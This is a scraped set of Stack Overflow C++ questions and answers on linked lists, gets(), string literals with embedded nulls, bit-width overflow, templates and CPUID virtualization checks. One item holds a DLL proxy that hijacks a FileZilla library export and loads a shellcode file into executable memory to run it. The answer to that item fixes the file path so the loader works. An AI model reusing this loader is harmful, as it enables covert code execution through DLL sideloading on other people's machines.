β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ data: 3 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β”‚ headSecondHalf This should already be enough to answer your question, but let's just finish the rest of the body of the while loop. temp = headSecondHalf->next; head headFirstHalf β”‚ └───────────┐ β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ─┐ β”‚ β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”‚β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ data: 3 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β–² β”‚ β”‚ headSecondHalf temp Continue with: headSecondHalf->next = headFirstHalf; head headFirstHalf β”‚ └───────────┐ β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ─┐ β”‚ β”Œβ–Ίβ”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”‚β”€β”€β”€β”˜ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β–Ό β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ β”‚ data: 3 β”‚ β”‚ next: β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β–² β”‚ β”‚ headSecondHalf temp And finally: headSecondHalf = temp; head headFirstHalf β”‚ └───────────┐ β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ─┐ β”‚ β”Œβ–Ίβ”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”‚β”€β”€β”€β”˜ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β–Ό β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ β”‚ data: 3 β”‚ β”‚ next: β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β–² β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ headSecondHalf temp Then the next iteration starts... I hope this has clarified it.
73,238,927
73,239,077
not displaying output using gets() function in c++
I came into this problem where gets does not work inside condition statement. Can we not use gets() function in this way? Is it even taking input or not as it is not displaying output. Help me how to fix this issue. #include<iostream> #include<fstream> #include<string.h> using namespace std; class Hospital { char bloodGroup[100]; char gender; public: void setData();//1 Use this to set data on the record void showData();//3 This is to show the whole data which is recorded within the file given from setData() }; //---------------------------------------- void Hospital::setData()//1 { cout<<"\n\n\t\t\xB3\xB2=\xB2=\xB2-\xB3 HOSPITAL MANAGEMENT SYSTEM \xB3\xB2=\xB2=\xB2-\xB3\n\n"<<endl; cout<<"\n\t\t\t*****************************************\n"; cout<<"\t\t\t\t ENTER THE DETAILS "; cout<<"\n\t\t\t*****************************************\n\n"; fflush(stdin); cout<<"\n\t\t Enter your gender (M|F) :- "; cin>>gender; again: int flag=0; cout<<"\n\t\t Enter patient Blood group :-"; cin>>bloodGroup; if((strcmp(bloodGroup,"A+")==0)||(strcmp(bloodGroup,"a+")==0)||(strcmp(bloodGroup,"A-")==0)||(strcmp(bloodGroup,"a-")==0)|| (strcmp(bloodGroup,"B+")==0)||(strcmp(bloodGroup,"b+")==0)||(strcmp(bloodGroup,"B-")==0)||(strcmp(bloodGroup,"b-")==0)|| (strcmp(bloodGroup,"O+")==0)||(strcmp(bloodGroup,"o+")==0)||(strcmp(bloodGroup,"O-")==0)||(strcmp(bloodGroup,"o-")==0)|| (strcmp(bloodGroup,"AB+")==0)||(strcmp(bloodGroup,"ab+")==0)||(strcmp(bloodGroup,"AB-")==0)||(strcmp(bloodGroup,"ab-")==0)) { flag=1; gets(bloodGroup); } if(flag==0) { cout<<"\n\t\t Wrong Entry...Enter a valid Blood Group..Try Again..\n"; goto again; } system("cls"); Hospital::showData(); } void Hospital ::showData()//3 { cout<<" Gender : "<<gender<<endl; cout<<" Blood group : "<<bloodGroup<<endl; } int main(){ Hospital a1; a1.setData(); return 0; } The output is like this i am able to give input but showData() function is not displaying output so i wonder if it is even taking my inputs: Gender : F Blood group :
You really should be using get with a string, and also in this scenario I don't see why its even necessary. If you delete the line with get(), your code works as intended.
73,239,559
73,239,850
How do I escape the `\0 character` or why is my method not working? (C++, GTest)
I am writing a function to test going from URL to a query name format. For example, the URL "google.com" should turn into "\x6google\x3com\0". But if I want to test matching this I thought I just had to do something like this: // Test first that "google.com" becomes "\6google\3com\0" EXPECT_EQ( test_dns_querier->url_to_qname(url_test), "\x6google\x3""com\\0" // Escaped ); The first \x6 is to match against the hex character in the qname format. Same with \x3. Then after \x3 I needed to stop and start a new string since the 'c' in 'com' gets mistaken as a hex character. Then I use '\' in order to get a backslash and finally a '0', but here is where it goes wrong (see the ctest output below). 8: Expected equality of these values: 8: test_dns_querier->url_to_qname(url_test) 8: Which is: "\x6google\x3" "com\0" 8: "\x6google\x3""com\\0" 8: Which is: "\x6google\x3" "com\\0" 8: [ FAILED ] dns_query_tests.DemonstrateQNameURLConverision (0 ms) For some reason my double backslash does not work. And when I remove one it still escapes the '0' in '\0'. Why does the typical '\' not work in this case?
To embed zero in a string literal, write \0 or \x00. But in most contexts, char arrays (including string literals) are treated as C strings, i.e. zero-terminated. Thus the first embedded zero will be considered as string end and not its part. Indeed, that is the only way as the size is not passed along string (even string literal, although it has one). So, you need: Return your string from url_to_qname as something that supports embedded zeroes. std::string is okay. Pass the string literal in a similar way. In C++17, you can use std::string_view for that: write your literal as "\x06google\x03com\x00"sv (after using namespace std::literals or likewise) and it will be converted to std::string_view in a way preserving embedded zeroes. Before C++17 that would need a bit of template or macro magic though, as things like std::string("\x06google\x03com\x00") don’t work (that constructor supports C strings only). UPDATE: as @273K pointed out there is also ""s which is available a bit earlier, since C++14.
73,239,761
73,240,437
Looking for nbit adder in c++
I was trying to build 17bit adder, when overflow occurs it should round off should appear just like int32. eg: In int32 add, If a = 2^31 -1 int res = a+1 res= -2^31-1 Code I tried, this is not working & is there a better way. Do I need to convert decimal to binary & then perform 17bit operation int addOvf(int32_t result, int32_t a, int32_t b) { int max = (-(0x01<<16)) int min = ((0x01<<16) -1) int range_17bit = (0x01<<17); if (a >= 0 && b >= 0 && (a > max - b)) { printf("...OVERFLOW.........a=%0d b=%0d",a,b); } else if (a < 0 && b < 0 && (a < min - b)) { printf("...UNDERFLOW.........a=%0d b=%0d",a,b); } result = a+b; if(result<min) { while(result<min){ result=result + range_17bit; } } else if(result>min){ while(result>max){ result=result - range_17bit; } } return result; } int main() { int32_t res,x,y; x=-65536; y=-1; res =addOvf(res,x,y); printf("Value of x=%0d y=%0d res=%0d",x,y,res); return 0; }
You have your constants for max/min int17 reversed and off by one. They should be max_int17 = (1 << 16) - 1 = 65535 and min_int17 = -(1 << 16) = -65536. Then I believe that max_int_n + m == min_int_n + (m-1) and min_int_n - m == max_int_n - (m-1), where n is the bit count and m is some integer in [min_int_n, ... ,max_int_n]. So putting that all together the function to treat two int32's as though they are int17's and add them would be like int32_t add_as_int17(int32_t a, int32_t b) { static const int32_t max_int17 = (1 << 16) - 1; static const int32_t min_int17 = -(1 << 16); auto sum = a + b; if (sum < min_int17) { auto m = min_int17 - sum; return max_int17 - (m - 1); } else if (sum > max_int17) { auto m = sum - max_int17; return min_int17 + (m - 1); } return sum; } There is probably some more clever way to do that but I believe the above is correct, assuming I understand what you want.
73,239,848
73,240,309
pointer pointing to a class object created from template for later use?
Edit 1: I am not allowed to modify the class bar atm, aschepler’s #1 solution fits the best. I am closing this question. Thank you for the help. Description: I was trying to create a class object based on the user input. I tried to store its reference with a pointer and use it at a later stage. A similar idea with the variable type late in Dart language. Is it possible to have this operation in CPP and if so, what kind of variable type should I use? Code: #include <iostream> #include <vector> using namespace std; template <typename T> class foo { public: T item; foo(){} }; class bar_1 { public: int value = 99; void randomise(); }; class bar_2{ public: string value = "init"; void randomise(); }; int main() { int i; cin >> i; void* ptr; if (i > 0) { ptr = new foo<bar_1>; } else { ptr = new foo<bar_2>; } // maybe run the function to randomise 'value' // ptr->item.randomise(); cout << ptr->item.value; return 0; } Error: cout << ptr->item.value; | ^~ error: β€˜void*’ is not a pointer-to-object type
As comments have pointed out, you can't use a pointer to a variable declared in a block after the end of that block. You could fix this with a std::unique_ptr, or possibly std::optional. Here are two possible solutions. #1: A std::variant<foo<bar_1>, foo<bar_2>> can hold an object of either type, without requiring any changes to your existing classes (and without requiring any dynamic allocations). Then we can use std::visit to do things on whichever object it contains. #include <variant> #include <optional> int main() { int i; std::cin >> i; std::optional<std::variant<foo<bar_1>, foo<bar_2>>> the_foo; if (i > 0) { the_foo = foo<bar_1>{}; } else { the_foo = foo<bar_2>{}; } // run the function to randomise 'value' std::visit([](auto &foo) { foo.item.randomise(); }, *the_foo); std::visit([](auto &foo) { std::cout << foo.item.value; }, *the_foo); return 0; } #2 If you can change the classes, notice that bar_1 and bar_2 both contain some common operations "randomise item" and "print item". So we can create an interface allowing polymorphic use of those operations without knowing the actual type. This is also more easily extensible if you add additional similar classes later. class IBar { public: virtual ~IBar() = default; virtual void print(std::ostream& os) const = 0; virtual void randomise() = 0; }; class bar_1 : public IBar { public: int value; void print(std::ostream& os) const override { os << value; } void randomise() override; }; class bar_2 : public IBar { public: std::string value; void print(std::ostream& os) const override { os << value; } void randomise() override; }; Now foo doesn't even need to be a template. It can just use an interface pointer instead of a member of the actual type: #include <memory> class foo { public: std::unique_ptr<IBar> pItem; explicit foo(std::unique_ptr<IBar> p) : pItem(std::move(p)) {} foo() = default; }; int main() { int i; std::cin >> i; foo the_foo; if (i > 0) { the_foo.pItem = std::make_unique<foo<bar_1>>(); } else { the_foo.pItem = std::make_unique<foo<bar_2>>(); } // run the function to randomise 'value' the_foo.pItem->randomise(); the_foo.pItem->print(std::cout); return 0; }
73,240,362
73,241,026
Doubly Linked List inserting in order
I need to write a function that insert valuse in order for doubly linked list e.g I have an int list that contains: [3, 4, 6, 9, 10] and the input is 7, then the list should be updated to contain: [3, 4, 6, 7, 9, 10] I tried to write but i get segmentation fault LinkedList is already sorted , I only need to put the value in the right place. template <typename T> void LinkedList<T>::insertOrdered(const T& newData) { Node *node = new Node(newData); if(!head_){ head_ = node; tail_=node; }else{ if(node->data < head_->data){ head_->prev = node; node->next = head_; head_=node; } else if(node->data > tail_->data){ tail_->next = node; node->prev = tail_; tail_ = node; } else{ Node *temp = head_; Node *prev = nullptr; while (temp->data > node->data || temp != NULL) { prev = temp; temp = temp->next; } prev->next = node; temp->prev = node; node->next = temp; } } size_++; } Thanks evryone for help i found a bug and this is working code for me :) Node *node = new Node(newData); if(!head_){ head_ = node; tail_=node; }else{ if(node->data < head_->data){ head_->prev = node; node->next = head_; head_=node; } else if(node->data > tail_->data){ tail_->next = node; node->prev = tail_; tail_ = node; } else{ Node *temp = head_; Node *prev = nullptr; while (temp!=NULL) { prev = temp; temp = temp->next; if(temp->data > node->data){ break; } } prev->next = node; node->prev = prev; temp->prev = node; node->next = temp; } } size_++;
There seems to be something missing here: prev->next = node; temp->prev = node; node->next = temp; If we look at the chain before and after: Before your code is run: prev V ********** ********** * next *--------------------------->* next *-----> <---* prev *<---------------------------* prev * ********** ********** node V ********** * next * * prev * ********** After your code is run: prev V ********** ********** * next *----* * --->* next *-----> <---* prev *<*--------------------------* prev * ********** | | | ********** | | | | | node | | | V | | | ********** | | --->* next *----| |------* prev * ********** Seems like one of the links has not been set correctly. I would do: Node* next = prev->next; prev->next = node; next->prev = node; node->next = next; node->prev = prev;
73,240,553
73,240,650
Relationship between factory design pattern and polymorphism
Is factory design pattern can only be used when there is a polymorphic behavior exists?
You use the factory pattern if you want to be able to change the concrete type that is created later on - in other words to use polymorphism to return an instance of a derived class in the form of the base class. So polymorphism is a precondition for the factory pattern to work. Without polymorphism, you couldn't return an instance of a derived class in the form of the base class.
73,240,645
73,254,427
Turn off "Debug Assertion Failed"
I get the error, "Debug Assertion Failed", when executing my .exe via the Start-Process command in PowerShell. I do not get this error when normally executing via File Explorer (double-click). Please see the error below. There have been similar questions on this forum that have suggested I add the following code to mute the error: #define NDEBUG #include <assert.h> While solving the error is best practice, I would like to know why the above doesn't work for me. For greater context, I am doing a DLL proxy. #include "pch.h" #include <stdio.h> #include <stdlib.h> #define NDEBUG #include <assert.h> #define _CRT_SECURE_NO_DEPRECATE #pragma warning (disable : 4996) #pragma comment(linker, "/export:_nettle_aeads=tmpC652._nettle_aeads,@1") DWORD WINAPI DoMagic(LPVOID lpParameter) { //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer FILE* fp; size_t size; unsigned char* buffer; fp = fopen("fz-dump-26072022-1635.bin", "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); buffer = (unsigned char*)malloc(size); //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources fread(buffer, size, 1, fp); void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, size); ((void(*) ())exec)(); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { HANDLE threadHandle; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // https://gist.github.com/securitytube/c956348435cc90b8e1f7 // Create a thread and close the handle as we do not want to use it to wait for it threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); CloseHandle(threadHandle); case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } There are many more pragmas in the above code. Approx 400 more lines of similar export functions.
The solution is quite simple, adding the full path... fp = fopen("C:\\Program Files\\FileZilla FTP Client\\fz-dump-26072022-1635.bin", "rb"); I found that the value of fp was NULL when executing via the PowerShell command Start-Process. This is because it was adding the file name fz-dump-26072022-1635.bin to the directory where PowerShell is called from, which is C:\Windows\System32\WindowsPowerShell\v1.0\. This explains why double clicking on the .exe works with no error, as the value of fp is correct, while calling it from any other directory doesn't work.
73,240,891
73,240,936
Calling template function inside another one but for function returning template type
I cannot understand why I can't build this code: template<typename T> T* func ( void ) { return NULL; } template<typename T> T* func2 ( void ) { T* var = func(); return NULL; } Compilation result is: "error: no matching function for call to β€˜func()’" The code below is fine: template<typename T> void func ( T var ) { return; } template<typename T> void func2 ( T var ) { func( var ); }
The compiler needs to be able to determine the template parameter by some means. The type occurs in the function parameter list, the compiler often can deduce the type parameter based on the parameter passed. In the second example this is possible, since you pass var to func in func2. If the functions do not take any function parameters, there's no way for the compiler to tell which template parameter to use without you explicitly specifying it, e.g. template<typename T> T* func() { return nullptr; } template<typename T> T* func2() { T* var = func<T>(); return nullptr; }
73,241,114
73,268,810
Is there a way to check if virtualisation is enabled on the BIOS using C++?
I'm trying to check if virtualisation (AMD-V or Intel VT) is enabled programmatically. I know the bash commands that gives you this information but I'm trying to achieve this in C++. On that note, I'm trying to avoid using std::system to execute shell code because of how hacky and unoptimal that solution is. Thanks in advance!
To check if VMX or SVM (Intel and AMD virtualization technologies) are enabled you need to use the cpuid instruction. This instruction comes up so often in similar tests that the mainstream compilers all have an intrinsic for it, you don't need inline assembly. For Intel's CPUs you have to check CPUID.1.ecx[5], while for AMD's ones you have to check CPUID.1.ecx[2]. Here's an example. I only have gcc on an Intel CPU, you are required to properly test and fix this code for other compilers and AMD CPUs. The principles I followed are: Unsupported compilers and non-x86 architecture should fail to compile the code. If run on an x86 compatible CPU that is neither Intel nor AMD, the function return false. The code assumes cpuid exists, for Intel's CPUs this is true since the 486. The code is designed so that cpuid_ex can return false to denote that cpuid is not present, but I didn't implement a test for it because that would require inline assembly. GCC and clang have a built-in for this but MSVCC doesn't. Note that if you only build 64-bit binaries you always have cpuid, you can remove the 32-bit architecture check so that if someday somebody tries to use a 32-bit build, the code fails to compile. #if defined(_MSC_VER) #include <intrin.h> #elif defined(__clang__) || defined(__GNUC__) #include <cpuid.h> #endif #include <string> #include <iostream> #include <cstdint> //Execute cpuid with leaf "leaf" and given the temporary array x holding the //values of eax, ebx, ecx and edx (after cpuid), copy x[start:end) into regs //converting each item in a uint32_t value (so this interface is the same even //for esoteric ILP64 compilers). //If CPUID is not supported, returns false (NOTE: this check is not done, CPUID //exists since the 486, it's up to you to implement a test. GCC & CLANG have a //nice macro for this. MSVCC doesn't. ICC I don't know.) bool cpuid_ex(unsigned int leaf, uint32_t* regs, size_t start = 0, size_t end = 4) { #if ( ! defined(__x86_64__) && ! defined(__i386__) && ! defined(_M_IX86) && ! defined(_M_X64)) //Not an x86 return false; #elif defined(_MSC_VER) || defined(__INTEL_COMPILER) //MS & Intel int x[4] __cpuid((int*)x, leaf); #elif defined(__clang__) || defined(__GNUC__) //GCC & clang unsigned int x[4]; __cpuid(leaf, x[0], x[1], x[2], x[3]); #else //Unknown compiler static_assert(false, "cpuid_ex: compiler is not supported"); #endif //Conversion from x[i] to uint32_t is safe since GP registers are 32-bit at least //if we are using cpuid for (; start < end; start++) *regs++ = static_cast<uint32_t>(x[start]); return true; } //Check for Intel and AMD virtualization. bool support_virtualization() { //Get the signature uint32_t signature_reg[3] = {0}; if ( ! cpuid_ex(0, signature_reg, 1)) //cpuid is not supported, this returns false but you may want to throw return false; uint32_t features; //Get the features cpuid_ex(1, &features, 2, 3); //Is intel? Check bit5 if (signature_reg[0] == 0x756e6547 && signature_reg[1] == 0x6c65746e && signature_reg[2] == 0x49656e69) return features & 0x20; //Is AMD? check bit2 if (signature_reg[0] == 0x68747541 && signature_reg[1] == 0x69746e65 && signature_reg[2] == 0x444d4163) return features & 0x04; //Not intel or AMD, this returns false but you may want to throw return false; } int main() { std::cout << "Virtualization is " << (support_virtualization() ? "": "NOT ") << "supported\n"; return 0; }